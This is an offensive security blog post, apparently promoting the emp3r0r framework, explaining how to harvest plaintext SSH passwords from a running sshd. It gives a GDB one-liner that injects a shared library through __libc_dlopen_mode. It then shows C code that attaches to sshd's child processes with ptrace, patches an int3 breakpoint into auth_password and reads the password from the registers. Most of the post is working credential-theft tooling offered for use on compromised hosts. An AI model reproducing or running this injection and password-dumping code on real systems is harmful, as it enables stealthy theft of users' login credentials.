openssh

TL;DR

The source code of this idea is available on GitHub

And the weaponized version is available in emp3r0r

  1. Use echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p <PID> for process injection
  2. Write a shared library to inject into sshd process
  3. In the library, fork a child process to monitor sshd children then attach (PTRACE_ATTATCH) to them
  4. For each ssh session, search its memory for a code pattern in auth_password function, and set its address (seek to the beginning of an instruction) as breakpoint
  5. Read registers on breakpoint, the password argument is stored in RSI, we follow its address and read the password
  6. Restore sshd process, keep monitoring until it exits

How to inject to sshd

The normal way

Since you are trying to inject to sshd, I assume you already have root

Don't set a global LD_PRELOAD, you only need to load your shared library into sshd

Edit sshd start script or systemd service file, change its command to include LD_PRELOAD

Restart sshd service

I don't want to restart sshd

This is not persistent, if you want persistence you need to do extra work

Call dlopen in libdl

__libc_dlopen_mode in libc

There are two functions which we can use to load a library into to the program: dlopen(3) from libdl, and libc_dlopen_mode, libc's implementation. We'll use libc_dlopen_mode because it doesn’t require the host process to have libdl linked in.

Save some time and use GDB

I have seen many implementations of dlopen and __libc_dlopen_mode injector, unfortunately none of them work out of the box, they are unstable, you probably have to check the code and adapt them yourself

To save your time and improve stability, use GDB. You can just put a static gdb binary on your target and use this one liner:

echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p <PID>

Or use emp3r0r

emp3r0r has implemented shared object injection for amd64 Linux platform, you can type use injector then find out.

Now this technique has been implemented in pure Go in emp3r0r, you got one more reason to try it out!

demo.png

Which process?

If you look at my code, you will know that we are working on the children processes of sshd,

Typically, each SSH session has its own process, spawned by the sshd service process, you can easily spot it:

root       20101   20100  0 14:56 pts/1    00:00:00 sshd: /home/u/SSH-Harvester-Gitea/openssh-8.2p1/sshd -f /etc/ssh/sshd_config -h /home/u/SSH-Harvester-Gitea/openssh-8.2p1/ssh_host_rsa_key -D -p 2222 [listener] 1 of 10-100 startups
root       21417   20101  0 14:57 ?        00:00:00 sshd: u [priv]
sshd       21418   21417  0 14:57 ?        00:00:00 sshd: u [net]

There's only one child process of sshd service, it has [priv] in its command line args.

How to attach?

Ideally, we want to attach to any SSH session when it opens, so we have a better chance to read any possible passwords

This can be done by monitoring the children processes of sshd.

How?

There's a procfs that exposes useful information about processes on Linux, to list children processes of a particular process, we just need to read /proc/pid/task/pid/children

And you will get a space (0x20) separated list of PIDs

So basically we can inject our shared object into sshd process, then monitor its children, open a thread for each child and harvest its password

Write the password dumper

Locate auth_password at runtime

What we want is to pause sshd when it reaches auth_password function, at which time we can read the password argument using PTRACE_PEEKTEXT

/*
 * Tries to authenticate the user using password.  Returns true if
 * authentication succeeds.
 */
int
auth_password(struct ssh *ssh, const char *password)
{
    Authctxt *authctxt = ssh->authctxt;
    struct passwd *pw = authctxt->pw;
    int result, ok = authctxt->valid;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
    static int expire_checked = 0;
#endif

    if (strlen(password) > MAX_PASSWORD_LEN)
        return 0;

#ifndef HAVE_CYGWIN
    if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
        ok = 0;
#endif
    if (*password == '\0' && options.permit_empty_passwd == 0)
        return 0;

#ifdef KRB5
    if (options.kerberos_authentication == 1) {
        int ret = auth_krb5_password(authctxt, password);
        if (ret == 1 || ret == 0)
            return ret && ok;
        /* Fall back to ordinary passwd authentication. */
    }
#endif
#ifdef HAVE_CYGWIN
    {
        HANDLE hToken = cygwin_logon_user(pw, password);

        if (hToken == INVALID_HANDLE_VALUE)
            return 0;
        cygwin_set_impersonation_token(hToken);
        return ok;
    }
#endif
#ifdef USE_PAM
    if (options.use_pam)
        return (sshpam_auth_passwd(authctxt, password) && ok);
#endif
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
    if (!expire_checked) {
        expire_checked = 1;
        if (auth_shadow_pwexpired(authctxt))
            authctxt->force_pwchange = 1;
    }
#endif
    result = sys_auth_passwd(ssh, password);
    if (authctxt->force_pwchange)
        auth_restrict_session(ssh);
    return (result && ok);
}

If we compile our own sshd, without stripping its symbols, we can easily use gdb to break at auth_password and read our password:

auth_password_gdb.png

How do we know where to set the breakpoint?

XPN's article talked about code pattern searching, we are going to use the same method for locating

To take it further, we will pick a different code pattern:

code pattern shown in ghidra

as shown in the screenshot, the password is checked by PAM and returns 1 when it's valid

so we can easily determine whether we are reading the correct password or not, by checking if $RAX == 0x1, or check if $RAX == 0x0 if the value is not 0x1

Set the breakpoint without GDB

Like said earlier, we substitude the first byte of add rsp, 0x8 (0x48 0x83 0xc4 0x08) with int3 (0xcc)

int3 is a single byte instruction in x86 assembly, when it gets executed, RIP stops at the next byte, this is called a software breakpoint

// write breakpoint
long data = ptrace(PTRACE_PEEKTEXT, pid, ptr, 0); // original instruction
long data_with_trap = (data & ~0xFF) | 0xCC;      // patch the first byte with 0xCC (int 3)
if (ptrace(PTRACE_POKETEXT, pid, (void*)ptr, data_with_trap) < 0) {
    perror("PTRACE_POKETEXT insert int3");
    exit(1);
}
puts("[+] INT 3 written, we have set a breakpoint");

Read password on break

When sshd process stops at our breakpoint, the password string will be available in $RBP register ($RSI is modified since another function is called),

we dump the password from $RBP and check if it's valid by evaluating $RAX == 1

// read RBP-pointed memory for password string, stop at NULL
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
unsigned long long password_arg = (unsigned long long)regs.rbp;
unsigned long long pam_ret = (unsigned long long)regs.rax;
char password[100];
char* ppass = password; // points to the tail of password
do {
    long val;
    char* p;

    val = ptrace(PTRACE_PEEKTEXT, pid, password_arg, NULL);
    printf("Reading args of auth_pass at 0x%llx\n", password_arg);
    if (val == -1) {
        perror("[-] Failed to read password from auth_pass args");
        ptrace(PTRACE_DETACH, pid);
        pthread_exit(NULL);
    }
    password_arg += sizeof(long);

    p = (char*)&val;
    for (i = 0; i < sizeof(long); i++, p++, ppass++) {
        *ppass = *p;
        if (*p == '\0')
            break;
    }
} while (i == sizeof(long));
if (pam_ret != 1) {
    printf("[-] RAX = %llx, pam auth has failed, the password '%s' is invalid\n", pam_ret, password);
} else {
    printf("\n\n[+] Password is\n\n\t%s (length: %lu)\n\n", password, strlen(password));
}

In action

c-demo.png


Comments

comments powered by Disqus